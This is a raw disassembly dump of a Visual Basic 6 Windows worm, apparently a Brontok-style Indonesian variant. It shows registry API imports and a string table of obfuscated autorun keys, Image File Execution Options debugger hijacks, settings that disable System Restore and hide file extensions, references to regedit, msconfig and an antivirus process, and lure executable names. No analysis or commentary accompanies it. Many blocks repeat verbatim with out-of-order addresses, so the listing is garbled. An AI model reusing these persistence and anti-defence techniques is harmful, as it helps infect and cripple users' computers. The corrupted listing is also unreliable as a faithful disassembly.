00407f00 dwFlags uint32 0x00040000
00407f04 lpCache uint32 0x41bf38
00407f08 dwReserved uint32 0x00000000
00407f0c
00407f0c 00 00 00 00 ....
00407ee5 00 00 00 ...
00407ee8
00407ee8 struct VBDeclareNameLength
00407ee8 cbName int 9
00407eec
00407eec string "lstrcpyA",0
00407ef5
00407ef5 00 00 00 ...
00407ef8
00407ef8 struct DeclareInfo
00407ef8 lpszLibraryName uint32 0x405f48
00407efc lpszFunctionName uint32 0x407eec
00407f00 dwFlags uint32 0x00040000
00407f04 lpCache uint32 0x41bf38
00407f08 dwReserved uint32 0x00000000
00407f0c
00407f0c 00 00 00 00 ....
00407f10
00407f10fn_407f10:
00407f10mov eax, [0x41bf40]
00407f15or eax, eax
00407f17je 0x407f1b
00407f19jmp eax
00407f1b
00407f1bloc_407f1b:
00407f1bpush 0x407ef8
00407f20mov eax, 0x4010e0
00407f25call eax
00407f27jmp eax
00407f10
00407f10fn_407f10:
00407f10mov eax, [0x41bf40]
00407f15or eax, eax
00407f17je 0x407f1b
00407f19jmp eax
00407f1b
00407f1bloc_407f1b:
00407f1bpush 0x407ef8
00407f20mov eax, 0x4010e0
00407f25call eax
00407f27jmp eax
00407f10
00407f29
00407f29 00 00 00 ...
00407f2c
00407f2c struct VBDeclareNameLength
00407f2c cbName int 20
00407f30
00407f30 string "WNetAddConnection2A",0
00407f44
00407f44 struct DeclareInfo
00407f44 lpszLibraryName uint32 0x407a38
00407f48 lpszFunctionName uint32 0x407f30
00407f4c dwFlags uint32 0x00040000
00407f50 lpCache uint32 0x41bf44
00407f54 dwReserved uint32 0x00000000
00407f58
00407f58 00 00 00 00 ....
00407f29 00 00 00 ...
00407f2c
00407f2c struct VBDeclareNameLength
00407f2c cbName int 20
00407f30
00407f30 string "WNetAddConnection2A",0
00407f44
00407f44 struct DeclareInfo
00407f44 lpszLibraryName uint32 0x407a38
00407f48 lpszFunctionName uint32 0x407f30
00407f4c dwFlags uint32 0x00040000
00407f50 lpCache uint32 0x41bf44
00407f54 dwReserved uint32 0x00000000
00407f58
00407f58 00 00 00 00 ....
00407f5c
00407f5cfn_407f5c:
00407f5cmov eax, [0x41bf4c]
00407f61or eax, eax
00407f63je 0x407f67
00407f65jmp eax
00407f67
00407f67loc_407f67:
00407f67push 0x407f44
00407f6cmov eax, 0x4010e0
00407f71call eax
00407f73jmp eax
00407f5c
00407f5cfn_407f5c:
00407f5cmov eax, [0x41bf4c]
00407f61or eax, eax
00407f63je 0x407f67
00407f65jmp eax
00407f67
00407f67loc_407f67:
00407f67push 0x407f44
00407f6cmov eax, 0x4010e0
00407f71call eax
00407f73jmp eax
00407f5c
00407f75
00407f75 00 00 00 08 00 00 00 .......
00407f7c
00407f7c wstring "smss",0
00407f86
00407f86 00 00 06 00 00 00 ......
00407f8c
00407f8c wstring "Ver",0
00407f94
00407f94 06 00 00 00 ....
00407f98
00407f98 wstring "Len",0
00407fa0
00407fa0 00 00 00 00 18 00 00 00 ........
00407fa8
00407fa8 wstring "Uzpz}lh{'mee",0
00407fc2
00407fc2 00 00 10 00 00 00 ......
00407fc8
00407fc8 wstring "\\startup",0
00407fda
00407fda 00 00 3e 00 00 00 ..>...
00407fe0
00407fe0 wstring "Efjhe)Zl}}`gnzUHyye`jh}`fg)Mh}h",0
00408020
00408020 3c 00 00 00 <...
00408024
00408024 wstring "Zfo}~h{lUD`j{fzfo}Uylh{eUk`hgn",0
00408062
00408062 00 00 3a 00 00 00 ..:...
00408068
00408068 wstring "Zfo}~h{lUD`j{fzfo}UYlh{eUYh}a",0
004080a4
004080a4 18 00 00 00 ....
004080a8
004080a8 wstring "Uzl{\x7f`jl'lql",0
004080c2
004080c2 00 00 12 00 00 00 ......
004080c8
004080c8 wstring "Uzdzz'lql",0
004080dc
004080dc 08 00 00 00 ....
004080e0
004080e0 wstring ".scr",0
004080ea
004080ea 00 00 08 00 00 00 ......
004080f0
004080f0 wstring ".com",0
004080fa
004080fa 00 00 08 00 00 00 ......
00408100
00408100 wstring ".cmd",0
0040810a
0040810a 00 00 12 00 00 00 ......
00408110
00408110 wstring "lsass.exe",0
00408124
00408124 struct VBDeclareNameLength
00408124 cbName int 14
00408128
00408128 string "RegDeleteKeyA",0
00408136
00408136 00 00 00 00 00 00 14 00 00 00 ..........
00408140
00408140 wstring "system.exe",0
00408156
00408156 00 00 18 00 00 00 ......
0040815c
0040815c wstring "\\regedit.exe",0
00408176
00408176 00 00 1a 00 00 00 ......
0040817c
0040817c wstring "\\winlogon.exe",0
00408198
00408198 16 00 00 00 ....
0040819c
0040819c wstring "\\system.exe",0
004081b4
004081b4 14 00 00 00 ....
004081b8
004081b8 wstring "\\lsass.exe",0
004081ce
004081ce 00 00 ..
004081d0 18 00 00 00 ....
004081d4
004081d4 wstring "U{lnlm`}'jdm",0
004081ee
004081ee 00 00 ..
004081f0 52 00 00 00 R...
004081f4
004081f4 wstring "Zfo}~h{lUD`j{fzfo}U^`gmf~zUJ|{{lg}_l{z`fg",0
00408248
00408248 struct VBDeclareNameLength
00408248 cbName int 12
0040824c
0040824c string "RegCloseKey",0
00408258
00408258 struct DeclareInfo
00408258 lpszLibraryName uint32 0x406b44
0040825c lpszFunctionName uint32 0x40824c
00408260 dwFlags uint32 0x00040000
00408264 lpCache uint32 0x41bf50
00408268 dwReserved uint32 0x00000000
0040826c
0040826c 00 00 00 00 ....
00407f75 00 00 00 08 00 00 00 .......
00407f7c
00407f7c wstring "smss",0
00407f86
00407f86 00 00 06 00 00 00 ......
00407f8c
00407f8c wstring "Ver",0
00407f94
00407f94 06 00 00 00 ....
00407f98
00407f98 wstring "Len",0
00407fa0
00407fa0 00 00 00 00 18 00 00 00 ........
00407fa8
00407fa8 wstring "Uzpz}lh{'mee",0
00407fc2
00407fc2 00 00 10 00 00 00 ......
00407fc8
00407fc8 wstring "\\startup",0
00407fda
00407fda 00 00 3e 00 00 00 ..>...
00407fe0
00407fe0 wstring "Efjhe)Zl}}`gnzUHyye`jh}`fg)Mh}h",0
00408020
00408020 3c 00 00 00 <...
00408024
00408024 wstring "Zfo}~h{lUD`j{fzfo}Uylh{eUk`hgn",0
00408062
00408062 00 00 3a 00 00 00 ..:...
00408068
00408068 wstring "Zfo}~h{lUD`j{fzfo}UYlh{eUYh}a",0
004080a4
004080a4 18 00 00 00 ....
004080a8
004080a8 wstring "Uzl{\x7f`jl'lql",0
004080c2
004080c2 00 00 12 00 00 00 ......
004080c8
004080c8 wstring "Uzdzz'lql",0
004080dc
004080dc 08 00 00 00 ....
004080e0
004080e0 wstring ".scr",0
004080ea
004080ea 00 00 08 00 00 00 ......
004080f0
004080f0 wstring ".com",0
004080fa
004080fa 00 00 08 00 00 00 ......
00408100
00408100 wstring ".cmd",0
0040810a
0040810a 00 00 12 00 00 00 ......
00408110
00408110 wstring "lsass.exe",0
00408124
00408124 struct VBDeclareNameLength
00408124 cbName int 14
00408128
00408128 string "RegDeleteKeyA",0
00408136
00408136 00 00 00 00 00 00 14 00 00 00 ..........
00408140
00408140 wstring "system.exe",0
00408156
00408156 00 00 18 00 00 00 ......
0040815c
0040815c wstring "\\regedit.exe",0
00408176
00408176 00 00 1a 00 00 00 ......
0040817c
0040817c wstring "\\winlogon.exe",0
00408198
00408198 16 00 00 00 ....
0040819c
0040819c wstring "\\system.exe",0
004081b4
004081b4 14 00 00 00 ....
004081b8
004081b8 wstring "\\lsass.exe",0
004081ce
004081ce 00 00 ..
004081d0 18 00 00 00 ....
004081d4
004081d4 wstring "U{lnlm`}'jdm",0
004081ee
004081ee 00 00 ..
004081f0 52 00 00 00 R...
004081f4
004081f4 wstring "Zfo}~h{lUD`j{fzfo}U^`gmf~zUJ|{{lg}_l{z`fg",0
00408248
00408248 struct VBDeclareNameLength
00408248 cbName int 12
0040824c
0040824c string "RegCloseKey",0
00408258
00408258 struct DeclareInfo
00408258 lpszLibraryName uint32 0x406b44
0040825c lpszFunctionName uint32 0x40824c
00408260 dwFlags uint32 0x00040000
00408264 lpCache uint32 0x41bf50
00408268 dwReserved uint32 0x00000000
0040826c
0040826c 00 00 00 00 ....
00408270
00408270fn_408270:
00408270mov eax, [0x41bf58]
00408275or eax, eax
00408277je 0x40827b
00408279jmp eax
0040827b
0040827bloc_40827b:
0040827bpush 0x408258
00408280mov eax, 0x4010e0
00408285call eax
00408287jmp eax
00408270
00408270fn_408270:
00408270mov eax, [0x41bf58]
00408275or eax, eax
00408277je 0x40827b
00408279jmp eax
0040827b
0040827bloc_40827b:
0040827bpush 0x408258
00408280mov eax, 0x4010e0
00408285call eax
00408287jmp eax
00408270
00408289
00408289 00 00 00 ...
0040828c
0040828c struct VBDeclareNameLength
0040828c cbName int 14
00408290
00408290 string "RegCreateKeyA",0
0040829e
0040829e 00 00 ..
004082a0
004082a0 struct DeclareInfo
004082a0 lpszLibraryName uint32 0x406b44
004082a4 lpszFunctionName uint32 0x408290
004082a8 dwFlags uint32 0x00040000
004082ac lpCache uint32 0x41bf5c
004082b0 dwReserved uint32 0x00000000
004082b4
004082b4 00 00 00 00 ....
00408289 00 00 00 ...
0040828c
0040828c struct VBDeclareNameLength
0040828c cbName int 14
00408290
00408290 string "RegCreateKeyA",0
0040829e
0040829e 00 00 ..
004082a0
004082a0 struct DeclareInfo
004082a0 lpszLibraryName uint32 0x406b44
004082a4 lpszFunctionName uint32 0x408290
004082a8 dwFlags uint32 0x00040000
004082ac lpCache uint32 0x41bf5c
004082b0 dwReserved uint32 0x00000000
004082b4
004082b4 00 00 00 00 ....
004082b8
004082b8fn_4082b8:
004082b8mov eax, [0x41bf64]
004082bdor eax, eax
004082bfje 0x4082c3
004082c1jmp eax
004082c3
004082c3loc_4082c3:
004082c3push 0x4082a0
004082c8mov eax, 0x4010e0
004082cdcall eax
004082cfjmp eax
004082b8
004082b8fn_4082b8:
004082b8mov eax, [0x41bf64]
004082bdor eax, eax
004082bfje 0x4082c3
004082c1jmp eax
004082c3
004082c3loc_4082c3:
004082c3push 0x4082a0
004082c8mov eax, 0x4010e0
004082cdcall eax
004082cfjmp eax
004082b8
004082d1
004082d1 00 00 00 00 00 00 00 .......
004082d8
004082d8 struct DeclareInfo
004082d8 lpszLibraryName uint32 0x406b44
004082dc lpszFunctionName uint32 0x408128
004082e0 dwFlags uint32 0x00040000
004082e4 lpCache uint32 0x41bf68
004082e8 dwReserved uint32 0x00000000
004082ec
004082ec 00 00 00 00 ....
004082d1 00 00 00 00 00 00 00 .......
004082d8
004082d8 struct DeclareInfo
004082d8 lpszLibraryName uint32 0x406b44
004082dc lpszFunctionName uint32 0x408128
004082e0 dwFlags uint32 0x00040000
004082e4 lpCache uint32 0x41bf68
004082e8 dwReserved uint32 0x00000000
004082ec
004082ec 00 00 00 00 ....
004082f0
004082f0fn_4082f0:
004082f0mov eax, [0x41bf70]
004082f5or eax, eax
004082f7je 0x4082fb
004082f9jmp eax
004082fb
004082fbloc_4082fb:
004082fbpush 0x4082d8
00408300mov eax, 0x4010e0
00408305call eax
00408307jmp eax
004082f0
004082f0fn_4082f0:
004082f0mov eax, [0x41bf70]
004082f5or eax, eax
004082f7je 0x4082fb
004082f9jmp eax
004082fb
004082fbloc_4082fb:
004082fbpush 0x4082d8
00408300mov eax, 0x4010e0
00408305call eax
00408307jmp eax
004082f0
00408309
00408309 00 00 00 ...
0040830c
0040830c struct VBDeclareNameLength
0040830c cbName int 16
00408310
00408310 string "RegDeleteValueA",0
00408320
00408320 struct DeclareInfo
00408320 lpszLibraryName uint32 0x406b44
00408324 lpszFunctionName uint32 0x408310
00408328 dwFlags uint32 0x00040000
0040832c lpCache uint32 0x41bf74
00408330 dwReserved uint32 0x00000000
00408334
00408334 00 00 00 00 ....
00408309 00 00 00 ...
0040830c
0040830c struct VBDeclareNameLength
0040830c cbName int 16
00408310
00408310 string "RegDeleteValueA",0
00408320
00408320 struct DeclareInfo
00408320 lpszLibraryName uint32 0x406b44
00408324 lpszFunctionName uint32 0x408310
00408328 dwFlags uint32 0x00040000
0040832c lpCache uint32 0x41bf74
00408330 dwReserved uint32 0x00000000
00408334
00408334 00 00 00 00 ....
00408338
00408338fn_408338:
00408338mov eax, [0x41bf7c]
0040833dor eax, eax
0040833fje 0x408343
00408341jmp eax
00408343
00408343loc_408343:
00408343push 0x408320
00408348mov eax, 0x4010e0
0040834dcall eax
0040834fjmp eax
00408338
00408338fn_408338:
00408338mov eax, [0x41bf7c]
0040833dor eax, eax
0040833fje 0x408343
00408341jmp eax
00408343
00408343loc_408343:
00408343push 0x408320
00408348mov eax, 0x4010e0
0040834dcall eax
0040834fjmp eax
00408338
00408351
00408351 00 00 00 ...
00408354
00408354 struct VBDeclareNameLength
00408354 cbName int 12
00408358
00408358 string "RegOpenKeyA",0
00408364
00408364 struct DeclareInfo
00408364 lpszLibraryName uint32 0x406b44
00408368 lpszFunctionName uint32 0x408358
0040836c dwFlags uint32 0x00040000
00408370 lpCache uint32 0x41bf80
00408374 dwReserved uint32 0x00000000
00408378
00408378 00 00 00 00 ....
00408351 00 00 00 ...
00408354
00408354 struct VBDeclareNameLength
00408354 cbName int 12
00408358
00408358 string "RegOpenKeyA",0
00408364
00408364 struct DeclareInfo
00408364 lpszLibraryName uint32 0x406b44
00408368 lpszFunctionName uint32 0x408358
0040836c dwFlags uint32 0x00040000
00408370 lpCache uint32 0x41bf80
00408374 dwReserved uint32 0x00000000
00408378
00408378 00 00 00 00 ....
0040837c
0040837cfn_40837c:
0040837cmov eax, [0x41bf88]
00408381or eax, eax
00408383je 0x408387
00408385jmp eax
00408387
00408387loc_408387:
00408387push 0x408364
0040838cmov eax, 0x4010e0
00408391call eax
00408393jmp eax
0040837c
0040837cfn_40837c:
0040837cmov eax, [0x41bf88]
00408381or eax, eax
00408383je 0x408387
00408385jmp eax
00408387
00408387loc_408387:
00408387push 0x408364
0040838cmov eax, 0x4010e0
00408391call eax
00408393jmp eax
0040837c
00408395
00408395 00 00 00 ...
00408398
00408398 struct VBDeclareNameLength
00408398 cbName int 14
0040839c
0040839c string "RegOpenKeyExA",0
004083aa
004083aa 00 00 ..
004083ac
004083ac struct DeclareInfo
004083ac lpszLibraryName uint32 0x406b44
004083b0 lpszFunctionName uint32 0x40839c
004083b4 dwFlags uint32 0x00040000
004083b8 lpCache uint32 0x41bf8c
004083bc dwReserved uint32 0x00000000
004083c0
004083c0 00 00 00 00 ....
00408395 00 00 00 ...
00408398
00408398 struct VBDeclareNameLength
00408398 cbName int 14
0040839c
0040839c string "RegOpenKeyExA",0
004083aa
004083aa 00 00 ..
004083ac
004083ac struct DeclareInfo
004083ac lpszLibraryName uint32 0x406b44
004083b0 lpszFunctionName uint32 0x40839c
004083b4 dwFlags uint32 0x00040000
004083b8 lpCache uint32 0x41bf8c
004083bc dwReserved uint32 0x00000000
004083c0
004083c0 00 00 00 00 ....
004083c4
004083c4fn_4083c4:
004083c4mov eax, [0x41bf94]
004083c9or eax, eax
004083cbje 0x4083cf
004083cdjmp eax
004083cf
004083cfloc_4083cf:
004083cfpush 0x4083ac
004083d4mov eax, 0x4010e0
004083d9call eax
004083dbjmp eax
004083c4
004083c4fn_4083c4:
004083c4mov eax, [0x41bf94]
004083c9or eax, eax
004083cbje 0x4083cf
004083cdjmp eax
004083cf
004083cfloc_4083cf:
004083cfpush 0x4083ac
004083d4mov eax, 0x4010e0
004083d9call eax
004083dbjmp eax
004083c4
004083dd
004083dd 00 00 00 ...
004083e0
004083e0 struct VBDeclareNameLength
004083e0 cbName int 17
004083e4
004083e4 string "RegQueryValueExA",0
004083f5
004083f5 00 00 00 ...
004083f8
004083f8 struct DeclareInfo
004083f8 lpszLibraryName uint32 0x406b44
004083fc lpszFunctionName uint32 0x4083e4
00408400 dwFlags uint32 0x00040000
00408404 lpCache uint32 0x41bf98
00408408 dwReserved uint32 0x00000000
0040840c
0040840c 00 00 00 00 ....
004083dd 00 00 00 ...
004083e0
004083e0 struct VBDeclareNameLength
004083e0 cbName int 17
004083e4
004083e4 string "RegQueryValueExA",0
004083f5
004083f5 00 00 00 ...
004083f8
004083f8 struct DeclareInfo
004083f8 lpszLibraryName uint32 0x406b44
004083fc lpszFunctionName uint32 0x4083e4
00408400 dwFlags uint32 0x00040000
00408404 lpCache uint32 0x41bf98
00408408 dwReserved uint32 0x00000000
0040840c
0040840c 00 00 00 00 ....
00408410
00408410fn_408410:
00408410mov eax, [0x41bfa0]
00408415or eax, eax
00408417je 0x40841b
00408419jmp eax
0040841b
0040841bloc_40841b:
0040841bpush 0x4083f8
00408420mov eax, 0x4010e0
00408425call eax
00408427jmp eax
00408410
00408410fn_408410:
00408410mov eax, [0x41bfa0]
00408415or eax, eax
00408417je 0x40841b
00408419jmp eax
0040841b
0040841bloc_40841b:
0040841bpush 0x4083f8
00408420mov eax, 0x4010e0
00408425call eax
00408427jmp eax
00408410
00408429
00408429 00 00 00 ...
0040842c
0040842c struct VBDeclareNameLength
0040842c cbName int 15
00408430
00408430 string "RegSetValueExA",0
0040843f
0040843f 00 .
00408440
00408440 struct DeclareInfo
00408440 lpszLibraryName uint32 0x406b44
00408444 lpszFunctionName uint32 0x408430
00408448 dwFlags uint32 0x00040000
0040844c lpCache uint32 0x41bfa4
00408450 dwReserved uint32 0x00000000
00408454
00408454 00 00 00 00 ....
00408429 00 00 00 ...
0040842c
0040842c struct VBDeclareNameLength
0040842c cbName int 15
00408430
00408430 string "RegSetValueExA",0
0040843f
0040843f 00 .
00408440
00408440 struct DeclareInfo
00408440 lpszLibraryName uint32 0x406b44
00408444 lpszFunctionName uint32 0x408430
00408448 dwFlags uint32 0x00040000
0040844c lpCache uint32 0x41bfa4
00408450 dwReserved uint32 0x00000000
00408454
00408454 00 00 00 00 ....
00408458
00408458fn_408458:
00408458mov eax, [0x41bfac]
0040845dor eax, eax
0040845fje 0x408463
00408461jmp eax
00408463
00408463loc_408463:
00408463push 0x408440
00408468mov eax, 0x4010e0
0040846dcall eax
0040846fjmp eax
00408458
00408458fn_408458:
00408458mov eax, [0x41bfac]
0040845dor eax, eax
0040845fje 0x408463
00408461jmp eax
00408463
00408463loc_408463:
00408463push 0x408440
00408468mov eax, 0x4010e0
0040846dcall eax
0040846fjmp eax
00408458
00408471
00408471 00 00 00 2c 00 00 00 ...,...
00408478
00408478 wstring "ULqyef{l{UJhk`gl}Z}h}l",0
004084a6
004084a6 00 00 10 00 00 00 ......
004084ac
004084ac wstring "FullPath",0
004084be
004084be 00 00 ..
004084c0 08 00 00 00 ....
004084c4
004084c4 wstring "U[\\G",0
004084ce
004084ce 00 00 ..
004084d0 02 00 00 00 ....
004084d4
004084d4 wstring "s",0
004084d8
004084d8 02 00 00 00 ....
004084dc
004084dc wstring "0",0
004084e0
004084e0 6a 00 00 00 j...
004084e4
004084e4 wstring "ZFO]^H[LUD`j{fzfo}U^`gmf~z)G]UJ|{{lg}_l{z`fgU^`gefnfg",0
00408550
00408550 0a 00 00 00 ....
00408554
00408554 wstring "Shell",0
00408560
00408560 1c 00 00 00 ....
00408564
00408564 wstring "explorer.exe, ",0
00408582
00408582 00 00 68 00 00 00 ..h...
00408588
00408588 wstring "Zfo}~h{lUD`j{fzfo}U^`gmf~z)G]UJ|{{lg}_l{z`fgU^`gmf~z",0
004085f2
004085f2 00 00 08 00 00 00 ......
004085f8
004085f8 wstring "LOAD",0
00408602
00408602 00 00 24 00 00 00 ..$...
00408608
00408608 wstring "\\Explorer\\Advanced",0
0040862e
0040862e 00 00 ..
00408630 16 00 00 00 ....
00408634
00408634 wstring "HideFileExt",0
0040864c
0040864c 0c 00 00 00 ....
00408650
00408650 wstring "Hidden",0
0040865e
0040865e 00 00 ..
00408660 02 00 00 00 ....
00408664
00408664 wstring "R",0
00408668
00408668 02 00 00 00 ....
0040866c
0040866c wstring "S",0
00408670
00408670 1e 00 00 00 ....
00408674
00408674 wstring "ShowSuperHidden",0
00408694
00408694 0e 00 00 00 ....
00408698
00408698 wstring "scrfile",0
004086a8
004086a8 16 00 00 00 ....
004086ac
004086ac wstring "File Folder",0
004086c4
004086c4 0e 00 00 00 ....
004086c8
004086c8 wstring "exefile",0
004086d8
004086d8 30 00 00 00 0...
004086dc
004086dc wstring "SOFTWARE\\Classes\\exefile",0
0040870e
0040870e 00 00 ..
00408710 5c 00 00 00 \...
00408714
00408714 wstring "ZPZ]LDUJ|{{lg}Jfg}{feZl}UZl{\x7f`jlzUZah{lmHjjlzz",0
00408772
00408772 00 00 0a 00 00 00 ......
00408778
00408778 wstring "Start",0
00408784
00408784 4a 00 00 00 J...
00408788
00408788 wstring "ULqyef{l{UHm\x7fhgjlmUOfeml{UZ|yl{A`mmlg",0
004087d4
004087d4 1c 00 00 00 ....
004087d8
004087d8 wstring "\\gjaljblm_he|l",0
004087f6
004087f6 00 00 18 00 00 00 ......
004087fc
004087fc wstring "msconfig.exe",0
00408816
00408816 00 00 10 00 00 00 ......
0040881c
0040881c wstring "debugger",0
0040882e
0040882e 00 00 ..
00408830 02 00 00 00 ....
00408834
00408834 wstring "q",0
00408838
00408838 68 00 00 00 h...
0040883c
0040883c wstring "ZFO]^H[LUYfe`j`lzUD`j{fzfo}U^`gmf~z)G]UZpz}ld[lz}f{l",0
004088a6
004088a6 00 00 1a 00 00 00 ......
004088ac
004088ac wstring "DisableConfig",0
004088c8
004088c8 12 00 00 00 ....
004088cc
004088cc wstring "DisableSR",0
004088e0
004088e0 4a 00 00 00 J...
004088e4
004088e4 wstring "ZPZ]LDUJfg}{feZl}998UJfg}{feUZholKff}",0
00408930
00408930 1c 00 00 00 ....
00408934
00408934 wstring "He}l{gh}lZalee",0
00408952
00408952 00 00 0a 00 00 00 ......
00408958
00408958 wstring "l.exe",0
00408964
00408964 94 00 00 00 ....
00408968
00408968 wstring "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\",0
004089fe
004089fe 00 00 ..
00408a00 0c 00 00 00 ....
00408a04
00408a04 wstring "Date: ",0
00408a12
00408a12 00 00 00 00 00 00 18 00 00 00 ..........
00408a1c
00408a1c wstring "\\notepad.exe",0
00408a36
00408a36 00 00 16 00 00 00 ......
00408a3c
00408a3c wstring "regedit.exe",0
00408a54
00408a54 14 00 00 00 ....
00408a58
00408a58 wstring "rstrui.exe",0
00408a6e
00408a6e 00 00 ..
00408a70 5a 00 00 00 Z...
00408a74
00408a74 wstring "Zfo}~h{lUD`j{fzfo}U^`gmf~zUJ|{{lg}_l{z`fgU{|g",0
00408ad0
00408ad0 0a 00 00 00 ....
00408ad4
00408ad4 wstring "avgnt",0
00408ae0
00408ae0 14 00 00 00 ....
00408ae4
00408ae4 wstring "drv_st_key",0
00408afa
00408afa 00 00 18 00 00 00 ......
00408b00
00408b00 wstring "gf{dhgVshgmh",0
00408b1a
00408b1a 00 00 18 00 00 00 ......
00408b20
00408b20 wstring "gf{dhg)shgmh",0
00408b3a
00408b3a 00 00 0a 00 00 00 ......
00408b40
00408b40 wstring "DZDZN",0
00408b4c
00408b4c 08 00 00 00 ....
00408b50
00408b50 wstring "^f{m",0
00408b5a
00408b5a 00 00 0c 00 00 00 ......
00408b60
00408b60 wstring "^`ghdy",0
00408b6e
00408b6e 00 00 ..
00408b70 0c 00 00 00 ....
00408b74
00408b74 wstring "M{`\x7fl{",0
00408b82
00408b82 00 00 26 00 00 00 ..&...
00408b88
00408b88 wstring "^`g\\ymh}lZ|yl{\x7f`zf{",0
00408bb0
00408bb0 08 00 00 00 ....
00408bb4
00408bb4 wstring "]hzb",0
00408bbe
00408bbe 00 00 ..
00408bc0 08 00 00 00 ....
00408bc4
00408bc4 wstring "mhnf",0
00408bce
00408bce 00 00 ..
00408bd0 02 00 00 00 ....
00408bd4
00408bd4 wstring "Q",0
00408bd8
00408bd8 20 00 00 00 ...
00408bdc
00408bdc wstring "J|lQ==Vz}`eVal{l",0
00408bfe
00408bfe 00 00 ..
00408c00 1c 00 00 00 ....
00408c04
00408c04 wstring "H|}fZ|yl{\x7f`zf{",0
00408c22
00408c22 00 00 1c 00 00 00 ......
00408c28
00408c28 wstring "SMA_nya_Artika",0
00408c46
00408c46 00 00 1e 00 00 00 ......
00408c4c
00408c4c wstring "Putri_Indonesia",0
00408c6c
00408c6c 12 00 00 00 ....
00408c70
00408c70 wstring "BabelPath",0
00408c84
00408c84 1a 00 00 00 ....
00408c88
00408c88 wstring "Alumni Smansa",0
00408ca4
00408ca4 12 00 00 00 ....
00408ca8
00408ca8 wstring "ViriSetup",0
00408cbc
00408cbc 26 00 00 00 &...
00408cc0
00408cc0 wstring "SMAN1_Pangkalpinang",0
00408ce8
00408ce8 18 00 00 00 ....
00408cec
00408cec wstring "Putri_Bangka",0
00408d06
00408d06 00 00 0e 00 00 00 ......
00408d0c
00408d0c wstring "SysYuni",0
00408d1c
00408d1c 0e 00 00 00 ....
00408d20
00408d20 wstring "SysDiaz",0
00408d30
00408d30 0c 00 00 00 ....
00408d34
00408d34 wstring "SysRia",0
00408d42
00408d42 00 00 0a 00 00 00 ......
00408d48
00408d48 wstring "Pluto",0
00408d54
00408d54 0e 00 00 00 ....
00408d58
00408d58 wstring "DllHost",0
00408d68
00408d68 1a 00 00 00 ....
00408d6c
00408d6c wstring "SaTRio ADie X",0
00408d88
00408d88 02 00 00 00 ....
00408d8c
00408d8c wstring "p",0
00408d90
00408d90 1a 00 00 00 ....
00408d94
00408d94 wstring "Tok-Cirrhatus",0
00408db0
00408db0 1a 00 00 00 ....
00408db4
00408db4 wstring "AllMyBallance",0
00408dd0
00408dd0 1e 00 00 00 ....
00408dd4
00408dd4 wstring "MomentEverComes",0
00408df4
00408df4 1a 00 00 00 ....
00408df8
00408df8 wstring "TryingToSpeak",0
00408e14
00408e14 1c 00 00 00 ....
00408e18
00408e18 wstring "YourUnintended",0
00408e36
00408e36 00 00 1c 00 00 00 ......
00408e3c
00408e3c wstring "YourUnintendes",0
00408e5a
00408e5a 00 00 12 00 00 00 ......
00408e60
00408e60 wstring "lexplorer",0
00408e74
00408e74 0e 00 00 00 ....
00408e78
00408e78 wstring "dkernel",0
00408e88
00408e88 1c 00 00 00 ....
00408e8c
00408e8c wstring "Bron-Spizaetus",0
00408eaa
00408eaa 00 00 1c 00 00 00 ......
00408eb0
00408eb0 wstring "ADie suka kamu",0
00408ece
00408ece 00 00 ..
00408ed0 0c 00 00 00 ....
00408ed4
00408ed4 wstring "winfix",0
00408ee2
00408ee2 00 00 0e 00 00 00 ......
00408ee8
00408ee8 wstring "templog",0
00408ef8
00408ef8 0e 00 00 00 ....
00408efc
00408efc wstring "service",0
00408f0c
00408f0c 10 00 00 00 ....
00408f10
00408f10 wstring "Grogotix",0
00408f22
00408f22 00 00 12 00 00 00 ......
00408f28
00408f28 wstring "\\windows*",0
00408f3c
00408f3c 0e 00 00 00 ....
00408f40
00408f40 wstring "</head>",0
00408f50
00408f50 1e 00 00 00 ....
00408f54
00408f54 wstring "\\ShellNew\\*.exe",0
00408f74
00408f74 0c 00 00 00 ....
00408f78
00408f78 wstring "\\*.exe",0
00408f86
00408f86 00 00 0c 00 00 00 ......
00408f8c
00408f8c wstring "\\*.vbs",0
00408f9a
00408f9a 00 00 18 00 00 00 ......
00408fa0
00408fa0 wstring "\\MyHeart.exe",0
00408fba
00408fba 00 00 2c 00 00 00 ..,...
00408fc0
00408fc0 wstring "\\KesenjanganSosial.exe",0
00408fee
00408fee 00 00 ..
00408ff0 1e 00 00 00 ....
00408ff4
00408ff4 wstring "\\FirstLove.exe*",0
00409014
00409014 18 00 00 00 ....
00409018
00409018 wstring "\\eksplorasi*",0
00409032
00409032 00 00 16 00 00 00 ......
00409038
00409038 wstring "\\CintaButa*",0
00409050
00409050 0c 00 00 00 ....
00409054
00409054 wstring "\\*.pif",0
00409062
00409062 00 00 14 00 00 00 ......
00409068
00409068 wstring "\\Romantic*",0
0040907e
0040907e 00 00 ..
00409080 34 00 00 00 4...
00409084
00409084 wstring "Zj{`y}`gn'O`elZpz}ldFkclj}",0
004090ba
004090ba 00 00 1a 00 00 00 ......
004090c0
004090c0 wstring "\\msvbvm60.dll",0
004090dc
004090dc 02 00 00 00 ....
004090e0
004090e0 wstring "P",0
004090e4
004090e4 28 00 00 00 (...
004090e8
004090e8 wstring "Uzpz}ldUdz\x7fk\x7fd?9'mee",0
00409112
00409112 00 00 1a 00 00 00 ......
00409118
00409118 wstring "UDZ^@GZJB'fjq",0
00409134
00409134 04 00 00 00 ....
00409138
00409138 wstring "nn",0
0040913e
0040913e 00 00 ..
00409140 04 00 00 00 ....
00409144
00409144 wstring "HH",0
0040914a
0040914a 00 00 ..
0040914c
0040914c struct VBDeclareNameLength
0040914c cbName int 10
00409150
00409150 string "winmm.dll",0
0040915a
0040915a 00 00 ..
0040915c
0040915c struct VBDeclareNameLength
0040915c cbName int 11
00409160
00409160 string "mciExecute",0
0040916b
0040916b 00 .
0040916c
0040916c struct DeclareInfo
0040916c lpszLibraryName uint32 0x409150
00409170 lpszFunctionName uint32 0x409160
00409174 dwFlags uint32 0x00040000
00409178 lpCache uint32 0x41bfb0
0040917c dwReserved uint32 0x00000000
00409180
00409180 00 00 00 00 ....
00408471 00 00 00 2c 00 00 00 ...,...
00408478
00408478 wstring "ULqyef{l{UJhk`gl}Z}h}l",0
004084a6
004084a6 00 00 10 00 00 00 ......
004084ac
004084ac wstring "FullPath",0
004084be
004084be 00 00 ..
004084c0 08 00 00 00 ....
004084c4
004084c4 wstring "U[\\G",0
004084ce
004084ce 00 00 ..
004084d0 02 00 00 00 ....
004084d4
004084d4 wstring "s",0
004084d8
004084d8 02 00 00 00 ....
004084dc
004084dc wstring "0",0
004084e0
004084e0 6a 00 00 00 j...
004084e4
